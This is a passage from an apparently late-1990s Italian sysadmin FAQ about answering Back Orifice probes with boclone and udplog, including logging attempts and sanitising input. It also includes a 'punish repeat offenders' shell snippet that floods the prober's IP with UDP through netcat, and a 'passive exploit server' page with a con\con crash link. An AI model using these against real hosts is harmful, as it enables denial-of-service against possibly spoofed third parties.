chiamati se non era indicata la path completa. Fatto questo, funziona tutto. (1) $4, in script, restituisce 'port 10xx' e non solo '10xx'... lo so che e' una cosa di poco conto... ma... :)) *** (C) Leonardo Serni *** [D03-X] E archiviare i tentativi di accesso con BO a fini statistici? [KEYWORDS:backorifice:udplog:boclone] Occorre un server attivo 24h, un programma che logga i ping ed un altro che li infila in una pagina web. [Sol. per udplog 1.7.] Mettere "boclone" come risposta standard ad invii UDP su porta 31337 in /etc/udplog.conf, e nel file "boclone" ci va, su una sola riga: ##### (C) Leonardo Serni ##### WEBLOG="lynx -dump http://www.loggersite.com/cgi-bin/bologger.cgi?HOST=$1&PACKET=$3 >/dev/null" ...metodo semplice e brutale. Poi nel caso 1) (ping): case "$TYPE" in 1) # He's pinging. We be good and reply in kind. echo -n "!PONG!1.20!$HOSTNAME" $WEBLOG & ;; Naturalmente occorrerebbe prendere precauzioni contro possibili DOS ottenuti mandando tempeste di PING spoofati... o con DNS contenenti shell metacharacters. Eventualmente, nelle prime righe, si mette HOST=$( echo "$1" | tr -cd "A-Za-z0-9-." ) anziche' HOST="$1" ...stesso discorso o quasi per ARG1 ed ARG2 (anche passando parametri "carogna" a boclone, non ci sono effetti collaterali, ma non e' mai detto). Infine, per ottenere le reti di origine (non gli IP! la 675 incombe!), una volta che si ha lo host, il comando e' cut -f1-3 -d'.'. Notare che non e' possibile sapere a chi corrisponde un IP, in generale, o chi sia. Di conseguenza, se violazione di privacy c'e', la opera chi "mappa" l'IP sull'utente, e dunque il provider. [D04-X] Punire i recidivi. [KEYWORDS:backorifice:boclone:netcat] Come poter variare la risposta ai tentativi di accesso tramite Back Orifice? Ovvero, porgiamo l'altra guancia, ma siccome le guance sono solo due, dopo il secondo tentativo il perdono evangelico cede il posto alla libera iniziativa. Vediamo come far fare a programmi come boclone due cose diverse al ricevimento di due pacchetti uguali in momenti successivi. ___CUT_HERE___ if [ -r $LOCK.xxx ]; then # Questo lo conosciamo... che famo? ( sleep 10; killall yes ) & ( yes $( cat /etc/documents/sorella.txt ) \ | nc -u "$IPLOGD_REMOTEADDR" 31337 ) & echo -n "Mi hanno detto che..." exit fi case "$TYPE" in 1) # He's pinging. We be good and reply in kind. echo -n "!PONG!1.20!$HOSTNAME" # O qualsiasi altra cosa echo "OK" > $LOCK.xxx ;; altracosa) # Per esempio reboot, ecc. echo -n "Ma vai a pescare, vai" echo "OK" > $LOCK.xxx ;; *) # Default ;; esac ___CUT_HERE___ Il file sorella.txt puo' contenere un messaggio dipendente dalla vena letteraria e dall'umore del sistemista. Per esempio cat _Tua_sorella_me_lo_ciuccia_stanotte_ > sorella.txt Leonardo che in Linux si fa tutto [D05-X] Passive Exploit Server. Categoria "arma da guerra": #!/bin/sh cat<<-PAGE HTTP/1.1 200 OK Date: $( date ) Server: Apache/2.0.0 (SignalOS) Last-Modified: Fri, 13 Aug 1999 17:43:00 GMT Content-Type: text/html PAGE ## http://www.gdf.it ## telnet://127.0.0.1 ## file://C|\con\con\gratulazioni\ba\ba\bada\che\stianto.htm ## altro